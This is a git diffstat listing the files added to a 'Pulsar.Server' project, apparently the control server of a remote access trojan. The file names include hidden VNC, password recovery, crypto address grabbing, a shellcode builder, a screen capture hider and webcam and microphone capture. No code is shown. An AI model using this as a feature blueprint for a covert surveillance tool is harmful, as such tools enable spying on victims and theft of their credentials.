Pulsar.Server/Forms/FrmRemoteMic.resx | 662 +++++ .../Forms/FrmRemoteScripting.Designer.cs | 227 ++ Pulsar.Server/Forms/FrmRemoteScripting.cs | 156 + Pulsar.Server/Forms/FrmRemoteScripting.resx | 659 +++++ .../Forms/FrmRemoteShell.Designer.cs | 110 + Pulsar.Server/Forms/FrmRemoteShell.cs | 191 ++ Pulsar.Server/Forms/FrmRemoteShell.resx | 659 +++++ .../Forms/FrmRemoteSystemAudio.Designer.cs | 165 ++ Pulsar.Server/Forms/FrmRemoteSystemAudio.cs | 369 +++ Pulsar.Server/Forms/FrmRemoteSystemAudio.resx | 659 +++++ .../Forms/FrmRemoteWebcam.Designer.cs | 215 ++ Pulsar.Server/Forms/FrmRemoteWebcam.cs | 305 ++ Pulsar.Server/Forms/FrmRemoteWebcam.resx | 665 +++++ .../Forms/FrmReverseProxy.Designer.cs | 287 ++ Pulsar.Server/Forms/FrmReverseProxy.cs | 227 ++ Pulsar.Server/Forms/FrmReverseProxy.resx | 662 +++++ Pulsar.Server/Forms/FrmSettings.Designer.cs | 414 +++ Pulsar.Server/Forms/FrmSettings.cs | 382 +++ Pulsar.Server/Forms/FrmSettings.resx | 659 +++++ .../Forms/FrmShowMessagebox.Designer.cs | 192 ++ Pulsar.Server/Forms/FrmShowMessagebox.cs | 110 + Pulsar.Server/Forms/FrmShowMessagebox.resx | 659 +++++ Pulsar.Server/Forms/FrmStartupAdd.Designer.cs | 175 ++ Pulsar.Server/Forms/FrmStartupAdd.cs | 80 + Pulsar.Server/Forms/FrmStartupAdd.resx | 662 +++++ .../Forms/FrmStartupManager.Designer.cs | 125 + Pulsar.Server/Forms/FrmStartupManager.cs | 185 ++ Pulsar.Server/Forms/FrmStartupManager.resx | 662 +++++ .../Forms/FrmSystemInformation.Designer.cs | 152 + Pulsar.Server/Forms/FrmSystemInformation.cs | 184 ++ Pulsar.Server/Forms/FrmSystemInformation.resx | 662 +++++ .../Forms/FrmTaskCommand.Designer.cs | 119 + Pulsar.Server/Forms/FrmTaskCommand.cs | 50 + Pulsar.Server/Forms/FrmTaskCommand.resx | 659 +++++ .../Forms/FrmTaskExecute.Designer.cs | 104 + Pulsar.Server/Forms/FrmTaskExecute.cs | 53 + Pulsar.Server/Forms/FrmTaskExecute.resx | 659 +++++ .../Forms/FrmTaskManager.Designer.cs | 290 ++ Pulsar.Server/Forms/FrmTaskManager.cs | 541 ++++ Pulsar.Server/Forms/FrmTaskManager.resx | 668 +++++ .../Forms/FrmTaskMessageBox.Designer.cs | 115 + Pulsar.Server/Forms/FrmTaskMessageBox.cs | 37 + Pulsar.Server/Forms/FrmTaskMessageBox.resx | 659 +++++ .../Forms/FrmVisitWebsite.Designer.cs | 107 + Pulsar.Server/Forms/FrmVisitWebsite.cs | 42 + Pulsar.Server/Forms/FrmVisitWebsite.resx | 659 +++++ .../Forms/HVNCPopUp/FrmHVNCPopUp.Designer.cs | 250 ++ Pulsar.Server/Forms/HVNCPopUp/FrmHVNCPopUp.cs | 98 + .../Forms/HVNCPopUp/FrmHVNCPopUp.resx | 123 + .../FrmOpenApplicationOnMonitor.Designer.cs | 107 + .../FrmOpenApplicationOnMonitor.cs | 42 + .../FrmOpenApplicationOnMonitor.resx | 659 +++++ .../ScreenCaptureHider/ScreenCaptureHider.cs | 69 + Pulsar.Server/Helper/CertificateHelper.cs | 182 ++ Pulsar.Server/Helper/ClipboardMonitor.cs | 152 + Pulsar.Server/Helper/NativeMethodsHelper.cs | 35 + Pulsar.Server/Helper/ShellcodeBuilder.cs | 174 ++ Pulsar.Server/Helper/WindowHelper.cs | 17 + Pulsar.Server/Images/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Images/Flags/ad.png | Bin 0 -> 643 bytes Pulsar.Server/Images/Flags/ae.png | Bin 0 -> 408 bytes Pulsar.Server/Images/Flags/af.png | Bin 0 -> 604 bytes Pulsar.Server/Images/Flags/ag.png | Bin 0 -> 591 bytes Pulsar.Server/Images/Flags/ai.png | Bin 0 -> 643 bytes Pulsar.Server/Images/Flags/al.png | Bin 0 -> 600 bytes Pulsar.Server/Images/Flags/am.png | Bin 0 -> 497 bytes Pulsar.Server/Images/Flags/an.png | Bin 0 -> 488 bytes Pulsar.Server/Images/Flags/ao.png | Bin 0 -> 428 bytes Pulsar.Server/Images/Flags/ar.png | Bin 0 -> 506 bytes Pulsar.Server/Images/Flags/as.png | Bin 0 -> 647 bytes Pulsar.Server/Images/Flags/at.png | Bin 0 -> 403 bytes Pulsar.Server/Images/Flags/au.png | Bin 0 -> 673 bytes Pulsar.Server/Images/Flags/aw.png | Bin 0 -> 524 bytes Pulsar.Server/Images/Flags/ax.png | Bin 0 -> 663 bytes Pulsar.Server/Images/Flags/az.png | Bin 0 -> 589 bytes Pulsar.Server/Images/Flags/ba.png | Bin 0 -> 593 bytes Pulsar.Server/Images/Flags/bb.png | Bin 0 -> 585 bytes Pulsar.Server/Images/Flags/bd.png | Bin 0 -> 504 bytes Pulsar.Server/Images/Flags/be.png | Bin 0 -> 449 bytes Pulsar.Server/Images/Flags/bf.png | Bin 0 -> 497 bytes Pulsar.Server/Images/Flags/bg.png | Bin 0 -> 462 bytes Pulsar.Server/Images/Flags/bh.png | Bin 0 -> 457 bytes Pulsar.Server/Images/Flags/bi.png | Bin 0 -> 675 bytes Pulsar.Server/Images/Flags/bj.png | Bin 0 -> 486 bytes Pulsar.Server/Images/Flags/bm.png | Bin 0 -> 611 bytes Pulsar.Server/Images/Flags/bn.png | Bin 0 -> 639 bytes Pulsar.Server/Images/Flags/bo.png | Bin 0 -> 500 bytes Pulsar.Server/Images/Flags/br.png | Bin 0 -> 593 bytes Pulsar.Server/Images/Flags/bs.png | Bin 0 -> 526 bytes Pulsar.Server/Images/Flags/bt.png | Bin 0 -> 631 bytes Pulsar.Server/Images/Flags/bv.png | Bin 0 -> 512 bytes Pulsar.Server/Images/Flags/bw.png | Bin 0 -> 443 bytes Pulsar.Server/Images/Flags/by.png | Bin 0 -> 514 bytes Pulsar.Server/Images/Flags/bz.png | Bin 0 -> 600 bytes Pulsar.Server/Images/Flags/ca.png | Bin 0 -> 628 bytes Pulsar.Server/Images/Flags/catalonia.png | Bin 0 -> 398 bytes Pulsar.Server/Images/Flags/cc.png | Bin 0 -> 625 bytes Pulsar.Server/Images/Flags/cd.png | Bin 0 -> 528 bytes Pulsar.Server/Images/Flags/cf.png | Bin 0 -> 614 bytes Pulsar.Server/Images/Flags/cg.png | Bin 0 -> 521 bytes Pulsar.Server/Images/Flags/ch.png | Bin 0 -> 367 bytes Pulsar.Server/Images/Flags/ci.png | Bin 0 -> 453 bytes Pulsar.Server/Images/Flags/ck.png | Bin 0 -> 586 bytes Pulsar.Server/Images/Flags/cl.png | Bin 0 -> 450 bytes Pulsar.Server/Images/Flags/cm.png | Bin 0 -> 525 bytes Pulsar.Server/Images/Flags/cn.png | Bin 0 -> 472 bytes Pulsar.Server/Images/Flags/co.png | Bin 0 -> 483 bytes Pulsar.Server/Images/Flags/cr.png | Bin 0 -> 477 bytes Pulsar.Server/Images/Flags/cs.png | Bin 0 -> 439 bytes Pulsar.Server/Images/Flags/cu.png | Bin 0 -> 563 bytes Pulsar.Server/Images/Flags/cv.png | Bin 0 -> 529 bytes Pulsar.Server/Images/Flags/cx.png | Bin 0 -> 608 bytes Pulsar.Server/Images/Flags/cy.png | Bin 0 -> 428 bytes Pulsar.Server/Images/Flags/cz.png | Bin 0 -> 476 bytes Pulsar.Server/Images/Flags/de.png | Bin 0 -> 545 bytes Pulsar.Server/Images/Flags/dj.png | Bin 0 -> 572 bytes Pulsar.Server/Images/Flags/dk.png | Bin 0 -> 495 bytes Pulsar.Server/Images/Flags/dm.png | Bin 0 -> 620 bytes Pulsar.Server/Images/Flags/do.png | Bin 0 -> 508 bytes Pulsar.Server/Images/Flags/dz.png | Bin 0 -> 582 bytes Pulsar.Server/Images/Flags/ec.png | Bin 0 -> 500 bytes Pulsar.Server/Images/Flags/ee.png | Bin 0 -> 429 bytes Pulsar.Server/Images/Flags/eg.png | Bin 0 -> 465 bytes Pulsar.Server/Images/Flags/eh.png | Bin 0 -> 508 bytes Pulsar.Server/Images/Flags/england.png | Bin 0 -> 496 bytes Pulsar.Server/Images/Flags/er.png | Bin 0 -> 653 bytes Pulsar.Server/Images/Flags/es.png | Bin 0 -> 469 bytes Pulsar.Server/Images/Flags/et.png | Bin 0 -> 592 bytes Pulsar.Server/Images/Flags/europeanunion.png | Bin 0 -> 479 bytes Pulsar.Server/Images/Flags/fam.png | Bin 0 -> 532 bytes Pulsar.Server/Images/Flags/fi.png | Bin 0 -> 489 bytes Pulsar.Server/Images/Flags/fj.png | Bin 0 -> 610 bytes Pulsar.Server/Images/Flags/fk.png | Bin 0 -> 648 bytes Pulsar.Server/Images/Flags/fm.png | Bin 0 -> 552 bytes Pulsar.Server/Images/Flags/fo.png | Bin 0 -> 474 bytes Pulsar.Server/Images/Flags/fr.png | Bin 0 -> 545 bytes Pulsar.Server/Images/Flags/ga.png | Bin 0 -> 489 bytes Pulsar.Server/Images/Flags/gb.png | Bin 0 -> 599 bytes Pulsar.Server/Images/Flags/gd.png | Bin 0 -> 637 bytes Pulsar.Server/Images/Flags/ge.png | Bin 0 -> 594 bytes Pulsar.Server/Images/Flags/gf.png | Bin 0 -> 545 bytes Pulsar.Server/Images/Flags/gh.png | Bin 0 -> 490 bytes Pulsar.Server/Images/Flags/gi.png | Bin 0 -> 463 bytes Pulsar.Server/Images/Flags/gl.png | Bin 0 -> 470 bytes Pulsar.Server/Images/Flags/gm.png | Bin 0 -> 493 bytes Pulsar.Server/Images/Flags/gn.png | Bin 0 -> 480 bytes Pulsar.Server/Images/Flags/gp.png | Bin 0 -> 488 bytes Pulsar.Server/Images/Flags/gq.png | Bin 0 -> 537 bytes Pulsar.Server/Images/Flags/gr.png | Bin 0 -> 487 bytes Pulsar.Server/Images/Flags/gs.png | Bin 0 -> 630 bytes Pulsar.Server/Images/Flags/gt.png | Bin 0 -> 493 bytes Pulsar.Server/Images/Flags/gu.png | Bin 0 -> 509 bytes Pulsar.Server/Images/Flags/gw.png | Bin 0 -> 516 bytes Pulsar.Server/Images/Flags/gy.png | Bin 0 -> 645 bytes Pulsar.Server/Images/Flags/hk.png | Bin 0 -> 527 bytes Pulsar.Server/Images/Flags/hm.png | Bin 0 -> 673 bytes Pulsar.Server/Images/Flags/hn.png | Bin 0 -> 537 bytes Pulsar.Server/Images/Flags/hr.png | Bin 0 -> 524 bytes Pulsar.Server/Images/Flags/ht.png | Bin 0 -> 487 bytes Pulsar.Server/Images/Flags/hu.png | Bin 0 -> 432 bytes Pulsar.Server/Images/Flags/id.png | Bin 0 -> 430 bytes Pulsar.Server/Images/Flags/ie.png | Bin 0 -> 481 bytes Pulsar.Server/Images/Flags/il.png | Bin 0 -> 431 bytes Pulsar.Server/Images/Flags/in.png | Bin 0 -> 503 bytes Pulsar.Server/Images/Flags/io.png | Bin 0 -> 658 bytes Pulsar.Server/Images/Flags/iq.png | Bin 0 -> 515 bytes Pulsar.Server/Images/Flags/ir.png | Bin 0 -> 512 bytes Pulsar.Server/Images/Flags/is.png | Bin 0 -> 532 bytes Pulsar.Server/Images/Flags/it.png | Bin 0 -> 420 bytes Pulsar.Server/Images/Flags/jm.png | Bin 0 -> 637 bytes Pulsar.Server/Images/Flags/jo.png | Bin 0 -> 473 bytes Pulsar.Server/Images/Flags/jp.png | Bin 0 -> 420 bytes Pulsar.Server/Images/Flags/ke.png | Bin 0 -> 569 bytes Pulsar.Server/Images/Flags/kg.png | Bin 0 -> 510 bytes Pulsar.Server/Images/Flags/kh.png | Bin 0 -> 549 bytes Pulsar.Server/Images/Flags/ki.png | Bin 0 -> 656 bytes Pulsar.Server/Images/Flags/km.png | Bin 0 -> 577 bytes Pulsar.Server/Images/Flags/kn.png | Bin 0 -> 604 bytes Pulsar.Server/Images/Flags/kp.png | Bin 0 -> 561 bytes Pulsar.Server/Images/Flags/kr.png | Bin 0 -> 592 bytes Pulsar.Server/Images/Flags/kw.png | Bin 0 -> 486 bytes Pulsar.Server/Images/Flags/ky.png | Bin 0 -> 643 bytes Pulsar.Server/Images/Flags/kz.png | Bin 0 -> 616 bytes Pulsar.Server/Images/Flags/la.png | Bin 0 -> 563 bytes Pulsar.Server/Images/Flags/lb.png | Bin 0 -> 517 bytes Pulsar.Server/Images/Flags/lc.png | Bin 0 -> 520 bytes Pulsar.Server/Images/Flags/li.png | Bin 0 -> 537 bytes Pulsar.Server/Images/Flags/lk.png | Bin 0 -> 627 bytes Pulsar.Server/Images/Flags/lr.png | Bin 0 -> 466 bytes Pulsar.Server/Images/Flags/ls.png | Bin 0 -> 628 bytes Pulsar.Server/Images/Flags/lt.png | Bin 0 -> 508 bytes Pulsar.Server/Images/Flags/lu.png | Bin 0 -> 481 bytes Pulsar.Server/Images/Flags/lv.png | Bin 0 -> 465 bytes Pulsar.Server/Images/Flags/ly.png | Bin 0 -> 419 bytes Pulsar.Server/Images/Flags/ma.png | Bin 0 -> 432 bytes Pulsar.Server/Images/Flags/mc.png | Bin 0 -> 380 bytes Pulsar.Server/Images/Flags/md.png | Bin 0 -> 566 bytes Pulsar.Server/Images/Flags/me.png | Bin 0 -> 448 bytes Pulsar.Server/Images/Flags/mg.png | Bin 0 -> 453 bytes Pulsar.Server/Images/Flags/mh.png | Bin 0 -> 628 bytes Pulsar.Server/Images/Flags/mk.png | Bin 0 -> 664 bytes Pulsar.Server/Images/Flags/ml.png | Bin 0 -> 474 bytes Pulsar.Server/Images/Flags/mm.png | Bin 0 -> 483 bytes Pulsar.Server/Images/Flags/mn.png | Bin 0 -> 492 bytes Pulsar.Server/Images/Flags/mo.png | Bin 0 -> 588 bytes Pulsar.Server/Images/Flags/mp.png | Bin 0 -> 597 bytes Pulsar.Server/Images/Flags/mq.png | Bin 0 -> 655 bytes Pulsar.Server/Images/Flags/mr.png | Bin 0 -> 569 bytes Pulsar.Server/Images/Flags/ms.png | Bin 0 -> 614 bytes Pulsar.Server/Images/Flags/mt.png | Bin 0 -> 420 bytes Pulsar.Server/Images/Flags/mu.png | Bin 0 -> 496 bytes Pulsar.Server/Images/Flags/mv.png | Bin 0 -> 542 bytes Pulsar.Server/Images/Flags/mw.png | Bin 0 -> 529 bytes Pulsar.Server/Images/Flags/mx.png | Bin 0 -> 574 bytes Pulsar.Server/Images/Flags/my.png | Bin 0 -> 571 bytes Pulsar.Server/Images/Flags/mz.png | Bin 0 -> 584 bytes Pulsar.Server/Images/Flags/na.png | Bin 0 -> 647 bytes Pulsar.Server/Images/Flags/nc.png | Bin 0 -> 591 bytes Pulsar.Server/Images/Flags/ne.png | Bin 0 -> 537 bytes Pulsar.Server/Images/Flags/nf.png | Bin 0 -> 602 bytes Pulsar.Server/Images/Flags/ng.png | Bin 0 -> 482 bytes Pulsar.Server/Images/Flags/ni.png | Bin 0 -> 508 bytes Pulsar.Server/Images/Flags/nl.png | Bin 0 -> 453 bytes Pulsar.Server/Images/Flags/no.png | Bin 0 -> 512 bytes Pulsar.Server/Images/Flags/np.png | Bin 0 -> 443 bytes Pulsar.Server/Images/Flags/nr.png | Bin 0 -> 527 bytes Pulsar.Server/Images/Flags/nu.png | Bin 0 -> 572 bytes Pulsar.Server/Images/Flags/nz.png | Bin 0 -> 639 bytes Pulsar.Server/Images/Flags/om.png | Bin 0 -> 478 bytes Pulsar.Server/Images/Flags/pa.png | Bin 0 -> 519 bytes Pulsar.Server/Images/Flags/pe.png | Bin 0 -> 397 bytes Pulsar.Server/Images/Flags/pf.png | Bin 0 -> 498 bytes Pulsar.Server/Images/Flags/pg.png | Bin 0 -> 593 bytes Pulsar.Server/Images/Flags/ph.png | Bin 0 -> 538 bytes Pulsar.Server/Images/Flags/pk.png | Bin 0 -> 569 bytes Pulsar.Server/Images/Flags/pl.png | Bin 0 -> 374 bytes Pulsar.Server/Images/Flags/pm.png | Bin 0 -> 689 bytes Pulsar.Server/Images/Flags/pn.png | Bin 0 -> 657 bytes Pulsar.Server/Images/Flags/pr.png | Bin 0 -> 556 bytes Pulsar.Server/Images/Flags/ps.png | Bin 0 -> 472 bytes Pulsar.Server/Images/Flags/pt.png | Bin 0 -> 554 bytes Pulsar.Server/Images/Flags/pw.png | Bin 0 -> 550 bytes Pulsar.Server/Images/Flags/py.png | Bin 0 -> 473 bytes Pulsar.Server/Images/Flags/qa.png | Bin 0 -> 450 bytes Pulsar.Server/Images/Flags/re.png | Bin 0 -> 545 bytes Pulsar.Server/Images/Flags/ro.png | Bin 0 -> 495 bytes Pulsar.Server/Images/Flags/rs.png | Bin 0 -> 423 bytes Pulsar.Server/Images/Flags/ru.png | Bin 0 -> 420 bytes Pulsar.Server/Images/Flags/rw.png | Bin 0 -> 533 bytes Pulsar.Server/Images/Flags/sa.png | Bin 0 -> 551 bytes Pulsar.Server/Images/Flags/sb.png | Bin 0 -> 624 bytes Pulsar.Server/Images/Flags/sc.png | Bin 0 -> 608 bytes Pulsar.Server/Images/Flags/scotland.png | Bin 0 -> 649 bytes Pulsar.Server/Images/Flags/sd.png | Bin 0 -> 492 bytes Pulsar.Server/Images/Flags/se.png | Bin 0 -> 542 bytes Pulsar.Server/Images/Flags/sg.png | Bin 0 -> 468 bytes Pulsar.Server/Images/Flags/sh.png | Bin 0 -> 645 bytes Pulsar.Server/Images/Flags/si.png | Bin 0 -> 510 bytes Pulsar.Server/Images/Flags/sj.png | Bin 0 -> 512 bytes Pulsar.Server/Images/Flags/sk.png | Bin 0 -> 562 bytes Pulsar.Server/Images/Flags/sl.png | Bin 0 -> 436 bytes Pulsar.Server/Images/Flags/sm.png | Bin 0 -> 502 bytes Pulsar.Server/Images/Flags/sn.png | Bin 0 -> 532 bytes Pulsar.Server/Images/Flags/so.png | Bin 0 -> 527 bytes Pulsar.Server/Images/Flags/sr.png | Bin 0 -> 513 bytes Pulsar.Server/Images/Flags/st.png | Bin 0 -> 584 bytes Pulsar.Server/Images/Flags/sv.png | Bin 0 -> 501 bytes Pulsar.Server/Images/Flags/sy.png | Bin 0 -> 422 bytes Pulsar.Server/Images/Flags/sz.png | Bin 0 -> 643 bytes Pulsar.Server/Images/Flags/tc.png | Bin 0 -> 624 bytes Pulsar.Server/Images/Flags/td.png | Bin 0 -> 570 bytes Pulsar.Server/Images/Flags/tf.png | Bin 0 -> 527 bytes Pulsar.Server/Images/Flags/tg.png | Bin 0 -> 562 bytes Pulsar.Server/Images/Flags/th.png | Bin 0 -> 452 bytes Pulsar.Server/Images/Flags/tj.png | Bin 0 -> 496 bytes Pulsar.Server/Images/Flags/tk.png | Bin 0 -> 638 bytes Pulsar.Server/Images/Flags/tl.png | Bin 0 -> 514 bytes Pulsar.Server/Images/Flags/tm.png | Bin 0 -> 593 bytes Pulsar.Server/Images/Flags/tn.png | Bin 0 -> 495 bytes Pulsar.Server/Images/Flags/to.png | Bin 0 -> 426 bytes Pulsar.Server/Images/Flags/tr.png | Bin 0 -> 492 bytes Pulsar.Server/Images/Flags/tt.png | Bin 0 -> 617 bytes Pulsar.Server/Images/Flags/tv.png | Bin 0 -> 536 bytes Pulsar.Server/Images/Flags/tw.png | Bin 0 -> 465 bytes Pulsar.Server/Images/Flags/tz.png | Bin 0 -> 642 bytes Pulsar.Server/Images/Flags/ua.png | Bin 0 -> 446 bytes Pulsar.Server/Images/Flags/ug.png | Bin 0 -> 531 bytes Pulsar.Server/Images/Flags/um.png | Bin 0 -> 571 bytes Pulsar.Server/Images/Flags/us.png | Bin 0 -> 609 bytes Pulsar.Server/Images/Flags/uy.png | Bin 0 -> 532 bytes Pulsar.Server/Images/Flags/uz.png | Bin 0 -> 515 bytes Pulsar.Server/Images/Flags/va.png | Bin 0 -> 553 bytes Pulsar.Server/Images/Flags/vc.png | Bin 0 -> 577 bytes Pulsar.Server/Images/Flags/ve.png | Bin 0 -> 528 bytes Pulsar.Server/Images/Flags/vg.png | Bin 0 -> 630 bytes Pulsar.Server/Images/Flags/vi.png | Bin 0 -> 616 bytes Pulsar.Server/Images/Flags/vn.png | Bin 0 -> 474 bytes Pulsar.Server/Images/Flags/vu.png | Bin 0 -> 604 bytes Pulsar.Server/Images/Flags/wales.png | Bin 0 -> 652 bytes Pulsar.Server/Images/Flags/wf.png | Bin 0 -> 554 bytes Pulsar.Server/Images/Flags/ws.png | Bin 0 -> 476 bytes Pulsar.Server/Images/Flags/xy.png | Bin 0 -> 3175 bytes Pulsar.Server/Images/Flags/ye.png | Bin 0 -> 413 bytes Pulsar.Server/Images/Flags/yt.png | Bin 0 -> 593 bytes Pulsar.Server/Images/Flags/za.png | Bin 0 -> 642 bytes Pulsar.Server/Images/Flags/zm.png | Bin 0 -> 500 bytes Pulsar.Server/Images/Flags/zw.png | Bin 0 -> 574 bytes Pulsar.Server/Images/Helpers/ImageChanger.cs | 19 + Pulsar.Server/Images/Icons/Pulsar_Server.ico | Bin 0 -> 32038 bytes Pulsar.Server/Images/Icons/Pulsar_Server.png | Bin 0 -> 9277 bytes Pulsar.Server/Images/aboutflag.png | Bin 0 -> 15110 bytes Pulsar.Server/Images/actions.png | Bin 0 -> 536 bytes Pulsar.Server/Images/application.png | Bin 0 -> 367 bytes Pulsar.Server/Images/application_add.png | Bin 0 -> 619 bytes Pulsar.Server/Images/application_cascade.png | Bin 0 -> 524 bytes Pulsar.Server/Images/application_delete.png | Bin 0 -> 610 bytes Pulsar.Server/Images/application_edit.png | Bin 0 -> 703 bytes Pulsar.Server/Images/application_go.png | Bin 0 -> 634 bytes Pulsar.Server/Images/archive.png | Bin 0 -> 644 bytes Pulsar.Server/Images/arrow_down.png | Bin 0 -> 379 bytes Pulsar.Server/Images/arrow_up.png | Bin 0 -> 372 bytes Pulsar.Server/Images/autorefreshicon.png | Bin 0 -> 17353 bytes Pulsar.Server/Images/back.png | Bin 0 -> 371 bytes Pulsar.Server/Images/bricks.png | Bin 0 -> 825 bytes Pulsar.Server/Images/broom.png | Bin 0 -> 784 bytes Pulsar.Server/Images/cancel.png | Bin 0 -> 587 bytes Pulsar.Server/Images/cdclose.png | Bin 0 -> 44396 bytes Pulsar.Server/Images/cdopen.png | Bin 0 -> 42027 bytes Pulsar.Server/Images/cdplayer.png | Bin 0 -> 17424 bytes Pulsar.Server/Images/cog.png | Bin 0 -> 512 bytes Pulsar.Server/Images/computer.png | Bin 0 -> 667 bytes Pulsar.Server/Images/delete.png | Bin 0 -> 715 bytes Pulsar.Server/Images/dllinjectoricon.png | Bin 0 -> 23293 bytes Pulsar.Server/Images/done.png | Bin 0 -> 537 bytes Pulsar.Server/Images/drive_go.png | Bin 0 -> 661 bytes Pulsar.Server/Images/emoticon_evilgrin.png | Bin 0 -> 727 bytes Pulsar.Server/Images/eye.png | Bin 0 -> 750 bytes Pulsar.Server/Images/file.png | Bin 0 -> 510 bytes Pulsar.Server/Images/folder.png | Bin 0 -> 537 bytes Pulsar.Server/Images/image.png | Bin 0 -> 700 bytes Pulsar.Server/Images/information.png | Bin 0 -> 778 bytes Pulsar.Server/Images/key_go.png | Bin 0 -> 744 bytes Pulsar.Server/Images/keyboard_add.png | Bin 0 -> 683 bytes Pulsar.Server/Images/keyboard_delete.png | Bin 0 -> 681 bytes Pulsar.Server/Images/keyboard_magnify.png | Bin 0 -> 651 bytes Pulsar.Server/Images/keyboardinput.png | Bin 0 -> 26626 bytes Pulsar.Server/Images/lightning.png | Bin 0 -> 634 bytes Pulsar.Server/Images/lockscreenicon.png | Bin 0 -> 21446 bytes Pulsar.Server/Images/lovefolder.png | Bin 0 -> 17485 bytes Pulsar.Server/Images/magnet.png | Bin 0 -> 613 bytes Pulsar.Server/Images/magnifyingglassicon.png | Bin 0 -> 27770 bytes Pulsar.Server/Images/maximizewindowicon.png | Bin 0 -> 25466 bytes Pulsar.Server/Images/minimizewindowicon.png | Bin 0 -> 5403 bytes Pulsar.Server/Images/monitor.png | Bin 0 -> 612 bytes Pulsar.Server/Images/monitoricon.png | Bin 0 -> 10754 bytes Pulsar.Server/Images/monitoring.png | Bin 0 -> 952 bytes Pulsar.Server/Images/monitoroff.png | Bin 0 -> 14492 bytes Pulsar.Server/Images/monitoron.png | Bin 0 -> 6398 bytes Pulsar.Server/Images/mouse_add.png | Bin 0 -> 729 bytes Pulsar.Server/Images/mouse_delete.png | Bin 0 -> 741 bytes Pulsar.Server/Images/movie.png | Bin 0 -> 661 bytes Pulsar.Server/Images/music.png | Bin 0 -> 711 bytes Pulsar.Server/Images/nuclear.png | Bin 0 -> 545 bytes Pulsar.Server/Images/page_copy.png | Bin 0 -> 663 bytes Pulsar.Server/Images/pcmicrophone.png | Bin 0 -> 16818 bytes Pulsar.Server/Images/pdf.png | Bin 0 -> 500 bytes Pulsar.Server/Images/refresh.png | Bin 0 -> 685 bytes Pulsar.Server/Images/reg_binary.png | Bin 0 -> 406 bytes Pulsar.Server/Images/reg_string.png | Bin 0 -> 487 bytes Pulsar.Server/Images/registry.png | Bin 0 -> 714 bytes Pulsar.Server/Images/restart.png | Bin 0 -> 756 bytes Pulsar.Server/Images/save.png | Bin 0 -> 410 bytes Pulsar.Server/Images/selectall.png | Bin 0 -> 8841 bytes Pulsar.Server/Images/server.png | Bin 0 -> 530 bytes Pulsar.Server/Images/server_add.png | Bin 0 -> 676 bytes Pulsar.Server/Images/server_delete.png | Bin 0 -> 668 bytes Pulsar.Server/Images/server_disconnect.png | Bin 0 -> 755 bytes Pulsar.Server/Images/server_go.png | Bin 0 -> 706 bytes Pulsar.Server/Images/server_link.png | Bin 0 -> 706 bytes Pulsar.Server/Images/shellcodeicon.png | Bin 0 -> 34532 bytes Pulsar.Server/Images/shutdown.png | Bin 0 -> 660 bytes Pulsar.Server/Images/standby.png | Bin 0 -> 621 bytes Pulsar.Server/Images/star_empty.png | Bin 0 -> 673 bytes Pulsar.Server/Images/star_filled.png | Bin 0 -> 676 bytes Pulsar.Server/Images/startbutton.png | Bin 0 -> 17633 bytes Pulsar.Server/Images/stopbutton.png | Bin 0 -> 13915 bytes Pulsar.Server/Images/terminal.png | Bin 0 -> 359 bytes Pulsar.Server/Images/text.png | Bin 0 -> 592 bytes Pulsar.Server/Images/textfield_rename.png | Bin 0 -> 273 bytes Pulsar.Server/Images/topmostwindowicon.png | Bin 0 -> 19054 bytes Pulsar.Server/Images/transmit_blue.png | Bin 0 -> 814 bytes Pulsar.Server/Images/uac_shield.png | Bin 0 -> 3556 bytes Pulsar.Server/Images/user.png | Bin 0 -> 741 bytes Pulsar.Server/Images/virtualmonitoricon.png | Bin 0 -> 10488 bytes Pulsar.Server/Images/vncicon.png | Bin 0 -> 14933 bytes Pulsar.Server/Images/website.png | Bin 0 -> 903 bytes Pulsar.Server/Images/windowstateicon.png | Bin 0 -> 18525 bytes Pulsar.Server/Images/word.png | Bin 0 -> 734 bytes Pulsar.Server/Images/world_go.png | Bin 0 -> 944 bytes Pulsar.Server/Images/world_link.png | Bin 0 -> 957 bytes Pulsar.Server/Images/zipfolder.png | Bin 0 -> 16584 bytes Pulsar.Server/Messages/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Messages/AudioHandler.cs | 347 +++ Pulsar.Server/Messages/AudioOutputHandler.cs | 348 +++ Pulsar.Server/Messages/ClientDebugLog.cs | 74 + Pulsar.Server/Messages/ClientStatusHandler.cs | 266 ++ .../Messages/DeferredAssemblyHandler.cs | 61 + Pulsar.Server/Messages/FileManagerHandler.cs | 674 +++++ .../Messages/GetCryptoAddressHandler.cs | 73 + Pulsar.Server/Messages/HVNCHandler.cs | 552 ++++ Pulsar.Server/Messages/MemoryDumpHandler.cs | 99 + .../Messages/PasswordRecoveryHandler.cs | 98 + Pulsar.Server/Messages/PingHandler.cs | 74 + Pulsar.Server/Messages/PreviewHandler.cs | 274 ++ Pulsar.Server/Messages/RegistryHandler.cs | 415 +++ Pulsar.Server/Messages/RemoteChatHandler.cs | 82 + .../Messages/RemoteDesktopHandler.cs | 482 ++++ Pulsar.Server/Messages/RemoteShellHandler.cs | 98 + Pulsar.Server/Messages/RemoteWebcamHandler.cs | 383 +++ Pulsar.Server/Messages/ReverseProxyHandler.cs | 128 + .../Messages/StartupManagerHandler.cs | 78 + .../Messages/SystemInformationHandler.cs | 75 + Pulsar.Server/Messages/TaskManagerHandler.cs | 172 ++ .../Messages/TcpConnectionsHandler.cs | 78 + .../UniversalPluginResponseHandler.cs | 113 + Pulsar.Server/Models/BuildOptions.cs | 30 + Pulsar.Server/Models/BuilderProfile.cs | 406 +++ Pulsar.Server/Models/BuilderProfileModel.cs | 110 + Pulsar.Server/Models/DummyCertificate.cs | 200 ++ Pulsar.Server/Models/Favorites.cs | 67 + Pulsar.Server/Models/FileManagerListTag.cs | 17 + Pulsar.Server/Models/FileTransfer.cs | 77 + Pulsar.Server/Models/Settings.cs | 195 ++ Pulsar.Server/Models/SettingsModel.cs | 62 + Pulsar.Server/Networking/Client.cs | 511 ++++ Pulsar.Server/Networking/PulsarServer.cs | 207 ++ Pulsar.Server/Networking/PushSender.cs | 34 + Pulsar.Server/Networking/Server.cs | 546 ++++ Pulsar.Server/Networking/UPnPService.cs | 77 + Pulsar.Server/Networking/UserState.cs | 34 + Pulsar.Server/Persistence/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Plugins/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Plugins/IServerContext.cs | 25 + Pulsar.Server/Plugins/IServerPlugin.cs | 14 + Pulsar.Server/Plugins/IUIExtensionPlugin.cs | 16 + Pulsar.Server/Plugins/PluginManager.cs | 324 +++ Pulsar.Server/Plugins/UIExtensionManager.cs | 166 ++ Pulsar.Server/Program.cs | 51 + Pulsar.Server/Properties/.DS_Store 